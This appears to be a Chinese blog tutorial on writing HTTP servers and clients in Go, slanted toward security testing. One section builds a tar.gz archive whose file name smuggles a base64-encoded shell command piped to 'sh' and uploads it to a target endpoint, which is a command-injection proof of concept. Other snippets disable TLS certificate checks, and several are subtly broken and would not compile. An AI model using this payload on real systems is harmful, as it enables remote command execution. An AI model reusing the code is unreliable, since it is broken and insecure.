用go实现http服务端和请求端

一、概述

本文旨在学习记录下如何用go实现建立一个http服务器,同时构造一个专用格式的http客户端。

二、代码实现

2.1 构造http服务端

1、http服务处理流程

基于HTTP构建的服务标准模型包括两个端,客户端(Client)和服务端(Server)。HTTP 请求从客户端发出,服务端接受到请求后进行处理然后将响应返回给客户端。所以http服务器的工作就在于如何接受来自客户端的请求,并向客户端返回响应。

  • 使用http.HandleFunc实现http服务,返回hello world
Go 复制代码
package main

import (
   "fmt"
   "net/http"
)

func HelloHandler(w http.ResponseWriter, r *http.Request) {
   fmt.Fprintf(w, "Hello World")
}

func main () {
   http.HandleFunc("/", HelloHandler)
   http.ListenAndServe(":8000", nil)
}
  • 使用http.Handle实现http服务
Go 复制代码
package main

import (
   "fmt"
   "net/http"
)

type HelloHandlerStruct struct {
   content string
}

//必须实现此方法,且名称为ServerHTTP
func (handler *HelloHandlerStruct) ServeHTTP(w http.ResponseWriter, r *http.Request) {
   fmt.Fprintf(w, handler.content)
}

func main()  {
   http.Handle("/", &HelloHandlerStruct{content: "Hello World"})
   http.ListenAndServe(":8000", nil)
}
  • 优雅的关闭http服务
Go 复制代码
package main

import (
	"context"
	"fmt"
	"io/ioutil"
	"log"
	"net/http"
	"os"
	"os/signal"
	"syscall"
	"time"
)

type EchoHandler struct{}

func (handler EchoHandler) ServeHTTP(writer http.ResponseWriter, request *http.Request) {
	// 设置响应头
	writer.Header().Add("X-Data", "foo")

	// 设置相应的cookie
	http.SetCookie(writer, &http.Cookie{
		Name:   "x-cookie",
		Value:  "bar",
		MaxAge: 86400,
		Secure: true,
	})
	//设置响应状态码为200
	writer.WriteHeader(200)

	// 设置响应体,打印网络请求信息
	fmt.Fprintln(writer, "===== Network =====")
	fmt.Fprintln(writer, "Remote Address:", request.RemoteAddr)
	fmt.Fprintln(writer)

	// 设置响应体,打印请求方法 url host 协议信息
	fmt.Fprintln(writer, "===== Request Line =====")
	fmt.Fprintln(writer, "Method: ", request.Method)
	fmt.Fprintln(writer, "URL: ", request.URL)
	fmt.Fprintln(writer, "Host: ", request.Host)
	//fmt.Fprintln(writer, "URI: ", request.RequestURI)
	fmt.Fprintf(writer, "Protocol: %v major=%v minor=%v\n", request.Proto,
		request.ProtoMajor, request.ProtoMinor)
	fmt.Fprintln(writer)

	// 设置输出请求的请求头
	fmt.Fprintln(writer, "===== Header =====")
	for k, v := range request.Header {
		fmt.Fprintf(writer, "%v: %v\n", k, v)
	}
	fmt.Fprintln(writer)

	// 设置输出请求的body
	body, err := ioutil.ReadAll(request.Body)
	if err == nil && len(body) > 0 {
		fmt.Fprintln(writer, "===== Raw Body =====")
		fmt.Fprintln(writer, string(body))
	}
}

func main() {
	// 创建系统信号接收器
	done := make(chan os.Signal)
	signal.Notify(done, os.Interrupt, syscall.SIGINT, syscall.SIGTERM)

	// 创建 HTTP 服务器
	server := &http.Server{
		Addr:    ":8000",
		Handler: EchoHandler{},
	}

	// 启动 HTTP 服务器
	go func() {
		log.Println("Server starting...")
		if err := server.ListenAndServe(); err != nil && err != http.ErrServerClosed {
			log.Fatalf("ListenAndServe: %v", err)
		}
	}()

	// 监听系统信号并执行关闭操作
	<-done
	log.Println("Server shutting down...")

	// 创建一个超时上下文,确保关闭操作不会无限期等待
	ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
	defer cancel()

	if err := server.Shutdown(ctx); err != nil {
		log.Fatal("Shutdown server:", err)
	}

	log.Println("Server gracefully stopped")
}

2.2 构建http客户端

1、基本介绍及使用

net/http 包提供了最简洁的 HTTP 客户端实现,无需借助第三方网络通信库(比如 libcurl)就可以直接使用最常见的 GET 和 POST 方式发起 HTTP 请求。

func (c *Client) Get(url string) (r *Response, err error)

func (c *Client) Post(url string, bodyType string, body io.Reader) (r *Response, err error)

func (c *Client) PostForm(url string, data url.Values) (r *Response, err error)

func (c *Client) Head(url string) (r *Response, err error)

func (c *Client) Do(req *Request) (resp *Response, err error)

基本的代码实现:

Go 复制代码
package main

import (
	"bytes"
	"fmt"
	"io/ioutil"
	"net/http"
)

func main() {
	// 目标 URL
	baseUrl := "http://localhost"

	// 执行 GET 请求
	doGet(baseUrl + "/gettest")

	// 执行 POST 请求
	doPost(baseUrl + "/posttest")

	// 执行 POST Form 请求
	doPostForm(baseUrl + "/postform")
}

func doGet(url string) {
	response, err := http.Get(url)
	if err != nil {
		fmt.Println("GET request failed:", err)
		return
	}
	defer response.Body.Close()

	body, err := ioutil.ReadAll(response.Body)
	if err != nil {
		fmt.Println("Error reading response:", err)
		return
	}

	fmt.Println("GET Response:")
	fmt.Println(string(body))
}

func doPost(url string) {
	// 准备 POST 请求的 JSON 数据
	jsonPayload := []byte(`{"key": "value"}`)

	response, err := http.Post(url, "application/json", bytes.NewBuffer(jsonPayload))
	if err != nil {
		fmt.Println("POST request failed:", err)
		return
	}
	defer response.Body.Close()

	body, err := ioutil.ReadAll(response.Body)
	if err != nil {
		fmt.Println("Error reading response:", err)
		return
	}

	fmt.Println("POST Response:")
	fmt.Println(string(body))
}

func doPostForm(url string) {
	// 准备 POST Form 数据
	data := url.Values{}
	data.Add("name", "Alice")
	data.Add("age", "30")

	response, err := http.PostForm(url, data)
	if err != nil {
		fmt.Println("POST Form request failed:", err)
		return
	}
	defer response.Body.Close()

	body, err := ioutil.ReadAll(response.Body)
	if err != nil {
		fmt.Println("Error reading response:", err)
		return
	}

	fmt.Println("POST Form Response:")
	fmt.Println(string(body))
}

2、自定义请求头,以及绕过https验证

Go 复制代码
package main

import (
    "fmt"
    "net/http"
    "net/url"
    "strings"
)

func main() {
    // 自定义请求头
    headers := map[string]string{
        "User-Agent": "Your Custom User-Agent",
        "Host":       "example.com", // 自定义 Host
    }

    // 目标 URL
    targetURL := "https://example.com" // 替换为你的目标 URL

    // 创建自定义 Transport
    tr := &http.Transport{
        TLSClientConfig:       {InsecureSkipVerify: true}, // 跳过 SSL/TLS 证书验证
        TLSHandshakeTimeout:   5,                         // 超时时间(秒)
        DisableKeepAlives:     true,                     // 禁用连接复用
        IdleConnTimeout:       30,                       // 空闲连接超时时间(秒)
        MaxIdleConnsPerHost:   2,                        // 每个主机的最大空闲连接数
        ResponseHeaderTimeout: 5,                        // 响应头超时时间(秒)
    }

    // 创建自定义客户端
    client := &http.Client{
        Transport: tr,
    }

    // 发送 GET 请求
    response, err := client.Get(targetURL)
    if err != nil {
        fmt.Println("GET request failed:", err)
        return
    }
    defer response.Body.Close()

    // 读取响应内容
    body := make([]byte, 1024)
    n, err := response.Body.Read(body)
    if err != nil {
        fmt.Println("Error reading response:", err)
        return
    }

    // 输出响应内容
    fmt.Println("Response:")
    fmt.Println(string(body[:n]))
}

3、实现登录后会话保持以及自定义请求头

Go 复制代码
package main

import (
    "fmt"
    "net/http"
    "net/url"
    "strings"
)

func main() {
    // 自定义请求头
    headers := map[string]string{
        "User-Agent": "Your Custom User-Agent",
        "Host":       "example.com", // 自定义 Host
    }

    // 目标 URL
    baseURL := "https://example.com" // 替换为你的目标 URL
    loginURL := baseURL + "/login"   // 登录 URL
    securedURL := baseURL + "/secured-resource" // 需要 Token 的 URL

    // 准备登录请求的数据
    loginData := url.Values{
        "user": {"admin"},
        "pass": {"123456"},
    }

    // 创建自定义 Transport
    tr := &http.Transport{
        TLSClientConfig:       {InsecureSkipVerify: true}, // 跳过 SSL/TLS 证书验证
        TLSHandshakeTimeout:   5,                         // 超时时间(秒)
        DisableKeepAlives:     true,                     // 禁用连接复用
        IdleConnTimeout:       30,                       // 空闲连接超时时间(秒)
        MaxIdleConnsPerHost:   2,                        // 每个主机的最大空闲连接数
        ResponseHeaderTimeout: 5,                        // 响应头超时时间(秒)
    }

    // 创建自定义客户端
    client := &http.Client{
        Transport: tr,
    }

    // 发送登录请求
    loginRequest, err := http.NewRequest("POST", loginURL, strings.NewReader(loginData.Encode()))
    if err != nil {
        fmt.Println("Error creating login request:", err)
        return
    }

    // 设置登录请求的头部和内容类型
    loginRequest.Header.Set("Content-Type", "application/x-www-form-urlencoded")
    for key, value := range headers {
        loginRequest.Header.Set(key, value)
    }

    loginResponse, err := client.Do(loginRequest)
    if err != nil {
        fmt.Println("Login request failed:", err)
        return
    }
    defer loginResponse.Body.Close()

    // 获取登录后的 Token
    var token string
    for _, cookie := range loginResponse.Cookies() {
        if cookie.Name == "token" {
            token = cookie.Value
            break
        }
    }

    if token == "" {
        fmt.Println("Login failed. No token received.")
        return
    }

    fmt.Println("Login successful. Token:", token)

    // 在后续请求中添加 Token 到请求头
    securedRequest, err := http.NewRequest("GET", securedURL, nil)
    if err != nil {
        fmt.Println("Error creating secured request:", err)
        return
    }

    securedRequest.Header.Set("Authorization", "Bearer "+token) // 添加 Token 到请求头
    for key, value := range headers {
        securedRequest.Header.Set(key, value)
    }

    securedResponse, err := client.Do(securedRequest)
    if err != nil {
        fmt.Println("Secured request failed:", err)
        return
    }
    defer securedResponse.Body.Close()

    // 读取并输出响应内容
    responseBody, err := ioutil.ReadAll(securedResponse.Body)
    if err != nil {
        fmt.Println("Error reading response body:", err)
        return
    }

    fmt.Println("Secured resource response:")
    fmt.Println(string(responseBody))
}

4、构造一个带特殊字符的压缩包,并且通过接口上传

Go 复制代码
package main

import (
    "archive/tar"
    "bytes"
    "compress/gzip"
    "crypto/tls"
    "fmt"
    "io"
    "io/ioutil"
    "mime/multipart"
    "net/http"
    "os"
)

func main() {
    // 压缩文件内容
    tarContent := generateTarGzContent("11.jpg;`echo cHdkID4gL3RtcC9zdWNjZXNz|base64 -d|sh`")

    // 发送 HTTP POST 请求
    url := "https://example.com/upload" // 替换为你的目标 URL
    uploadTarGz(url, tarContent)
}

func generateTarGzContent(filename string) []byte {
    var buf bytes.Buffer
    gw := gzip.NewWriter(&buf)
    tw := tar.NewWriter(gw)

    // 添加文件到 tar 压缩包
    fileContent := []byte("This is the content of 11.jpg;`echo cHdkID4gL3RtcC9zdWNjZXNz|base64 -d|sh`")
    header := &tar.Header{
        Name: filename,
        Size: int64(len(fileContent)),
    }
    if err := tw.WriteHeader(header); err != nil {
        fmt.Println("写入 tar 头部失败:", err)
        os.Exit(1)
    }
    if _, err := tw.Write(fileContent); err != nil {
        fmt.Println("写入文件内容失败:", err)
        os.Exit(1)
    }

    // 关闭 tar 和 gzip 缓冲区
    if err := tw.Close(); err != nil {
        fmt.Println("关闭 tar 失败:", err)
        os.Exit(1)
    }
    if err := gw.Close(); err != nil {
        fmt.Println("关闭 gzip 失败:", err)
        os.Exit(1)
    }

    return buf.Bytes()
}

func uploadTarGz(url string, tarContent []byte) {
    // 创建一个 Buffer,用于构建 multipart/form-data 请求体
    var requestBody bytes.Buffer
    writer := multipart.NewWriter(&requestBody)

    // 写入 tar.gz 文件
    part, err := writer.CreateFormFile("file", "test.tar.gz")
    if err != nil {
        fmt.Println("创建表单文件失败:", err)
        os.Exit(1)
    }
    if _, err := io.Copy(part, bytes.NewReader(tarContent)); err != nil {
        fmt.Println("写入文件内容失败:", err)
        os.Exit(1)
    }

    // 关闭 multipart writer
    writer.Close()

    // 创建 HTTP 请求
    req, err := http.NewRequest("POST", url, &requestBody)
    if err != nil {
        fmt.Println("创建请求失败:", err)
        os.Exit(1)
    }
    req.Header.Set("Content-Type", writer.FormDataContentType())

    // 创建一个自定义的 Transport,用于跳过 HTTPS 证书验证
    tr := &http.Transport{
        TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
    }

    // 使用自定义 Transport 发起请求
    client := &http.Client{Transport: tr}
    response, err := client.Do(req)
    if err != nil {
        fmt.Println("请求失败:", err)
        os.Exit(1)
    }
    defer response.Body.Close()

    // 读取响应内容
    responseBody, err := ioutil.ReadAll(response.Body)
    if err != nil {
        fmt.Println("读取响应内容失败:", err)
        os.Exit(1)
    }

    fmt.Println("响应内容:")
    fmt.Println(string(responseBody))
}

5、设置http代理

Go 复制代码
package main

import (
    "fmt"
    "net/http"
    "net/url"
    "os"
)

func main() {
    // 创建 HTTP 客户端,并设置代理
    proxyURL, err := url.Parse("http://127.0.0.1:8080") // 替换为您的代理服务器地址
    if err != nil {
        fmt.Println("解析代理地址失败:", err)
        os.Exit(1)
    }

    client := &http.Client{
        Transport: &http.Transport{
            Proxy: http.ProxyURL(proxyURL),
        },
    }

    // 创建 HTTP 请求
    url := "https://example.com" // 替换为您要请求的目标 URL
    request, err := http.NewRequest("GET", url, nil)
    if err != nil {
        fmt.Println("创建请求失败:", err)
        os.Exit(1)
    }

    // 发送 HTTP 请求
    response, err := client.Do(request)
    if err != nil {
        fmt.Println("请求失败:", err)
        os.Exit(1)
    }
    defer response.Body.Close()

    // 读取响应内容
    responseBody := make([]byte, 0)
    buffer := make([]byte, 1024)
    for {
        n, err := response.Body.Read(buffer)
        if n > 0 {
            responseBody = append(responseBody, buffer[:n]...)
        }
        if err != nil {
            break
        }
    }

    fmt.Println("响应内容:")
    fmt.Println(string(responseBody))
}
相关推荐
涔溪1 小时前
HTTP TCP三次握手深入解析
网络·tcp/ip·http
懒惰的bit2 小时前
基础网络安全知识
学习·web安全·1024程序员节
__AtYou__3 小时前
Golang | Leetcode Golang题解之第557题反转字符串中的单词III
leetcode·golang·题解
冰水°3 小时前
2.5_XXE(XML外部实体注入)
xml·安全·网络安全·xml外部实体注入·外部实体注入·xml漏洞
是谁谁谁4 小时前
【cft.show-web3解题思路】-php://input伪协议
web安全·网络安全·系统安全
程序猿-瑞瑞5 小时前
11 go语言(golang) - 数据类型:结构体
开发语言·golang
黑客K-ing6 小时前
网络安全名词解释
开发语言·网络·安全·网络安全·php
无情啦少6 小时前
shodan 【2】(泷羽sec)
安全·web安全·网络安全
宋发元8 小时前
Go 数据库查询与结构体映射
数据库·oracle·golang
清北_8 小时前
Go常见框架对比
前端·golang·gin